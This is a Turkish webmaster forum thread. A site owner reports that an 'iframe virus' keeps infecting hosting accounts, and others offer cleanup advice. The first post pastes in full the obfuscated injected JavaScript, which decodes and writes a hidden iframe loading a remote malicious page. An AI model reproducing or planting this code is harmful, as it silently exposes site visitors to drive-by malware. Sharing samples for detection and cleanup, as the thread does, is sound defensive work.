I frame virusu evrim geçirdi

2 dedicated makineme de girmeyi henüz beceremedi. Ama virtual hesabım olan bir sunucunun anasını belledi arkadaş.
Şimdi eskisinden daha değişik bir kod yazıyor. Ve tabi aynı yere yazıyor.

<script>c10z9a='';yqb8051=/* ybb473b4 */document;yab8051.write('<scr'+'ipt>function y4366a(y4679c83fd){return ev'+c10z9+'al(y4679c83fd); }</scr'+'ipt>');  function c101e3f8acyda428(y78e890){ var ya04f2203b=16; var zb1='';return (y4366a('pars'+zb1+'eInt')(y78e890,ya04f2203b));}function yb59018(y631e1df0){ function yf2acc8a5e48(){return 2;} var y1c966d0d26='';y7676698='fromCh';yf00d098ba07=String[y7676698+'arCode'];for(yd8b77a0fa5=0;yd8b77a0fa5<y631e1df0.length;yd8b77a0fa5+=yf2acc8a5e48()){ y1c966d0d26+=(yf00d098ba07(c101e3f8acyda428(y631e1df0.substr(yd8b77a0fa5,yf2acc8a5e48()))));}return y1c966d0d26;} var y3934cd0496='3C7363726970743E69662821'+c10z9+'6D796961'+c10z9+'297B646F63756D656E742E777269746528756E65736361'+c10z9+'7065282027253363253639253636253732253631'+c10z9+'253664253635253230253665253631'+c10z9+'253664253635253364253633253331'+c10z9+'253330253230253733253732253633253364253237253638253734253734253730253361'+c10z9+'253266253266253733253734253635253730253332253664253635253265253665253635253734253266253265253634253639253636253266253637253666253265253730253638253730253366253733253639253634253364253331'+c10z9+'26253237253262253464253631'+c10z9+'253734253638253265253732253666253735253665253634253238253464253631'+c10z9+'253734253638253265253732253631'+c10z9+'253665253634253666253664253238253239253261'+c10z9+'253333253339253331'+c10z9+'253335253239253262253237253337253636253635253332253633253338253336253339253237253230253737253639253634253734253638253364253331'+c10z9+'253335253230253638253635253639253637253638253734253364253332253336253331'+c10z9+'253230253733253734253739253663253635253364253237253736253639253733253639253632253639253663253639253734253739253361'+c10z9+'253638253639253634253634253635253665253237253365253363253266253639253636253732253631'+c10z9+'2536642536352533652729293B7D7661'+c10z9+'72206D796961'+c10z9+'3D747275653B3C2F7363726970743E';yab8051.write(yb59018(y3934cd0496));</script>

Ayrıca , bir klasör açmış ve içeri 2 php dosyası , 3 html dosyası (içleri Trojan Downloader dolu) bir de htacess dosyası atmış.
Ben sanıyorum ki girdikleri bir başka hesaptan shell ile sunucudaki tüm virtual hesaplara salça oluyor. Yani FTP mi çalsa diğer 2 makineye de girerdi. Zaten crack program filan kullanmıyorum. Dolayısıyla arkadaşlar evrim geçirdiler. 444 filan hiç bir işe yaramıyor.
Dedicated makinesi olup da başına gelen var mı bilmiyorum ama sanırım sorun virtual hesaplarda. Kendileri hesap açıp yüklüyor da olabilirler. Bu arada 5 domainim zararlı site halinde , ben temizliyorum, o gene geliyor.

Uykusuz geceler yolda

Bu iframenin mantiğini hala anlamiş değilim acikcasi. Yazan adam nasil yazdi ise super yazmiş dokunmadiği webmaster kalamdi galiba :s

yazanın kulakları bayağı çınlıyor ama

Oldur ama hakkini yeme, Kulağini cinlat ama hakkini yeme.
Her babayiğidin harci değil boyle bişiyi yazmak.

Geçmiş olsun, benim sitemde de nod32 virüs uyarısı veriyor ama diger programlar vermiyor. Bela lamerler!

Biz onun hakkını değil, o birçok masum insanın hakkını yiyor.

Daha öncede yazdım clamav'ın ftp taratma özelliğiyle pure-ftp'yi birleştirip bu kodlardan çok rahat bir şekilde kurtulabilirsiniz. Burda Belirttiğimgibi bu kodlarıda indirdiğiniz anti_gumblar dosyasına tanımlatıp sildirebilirsiniz.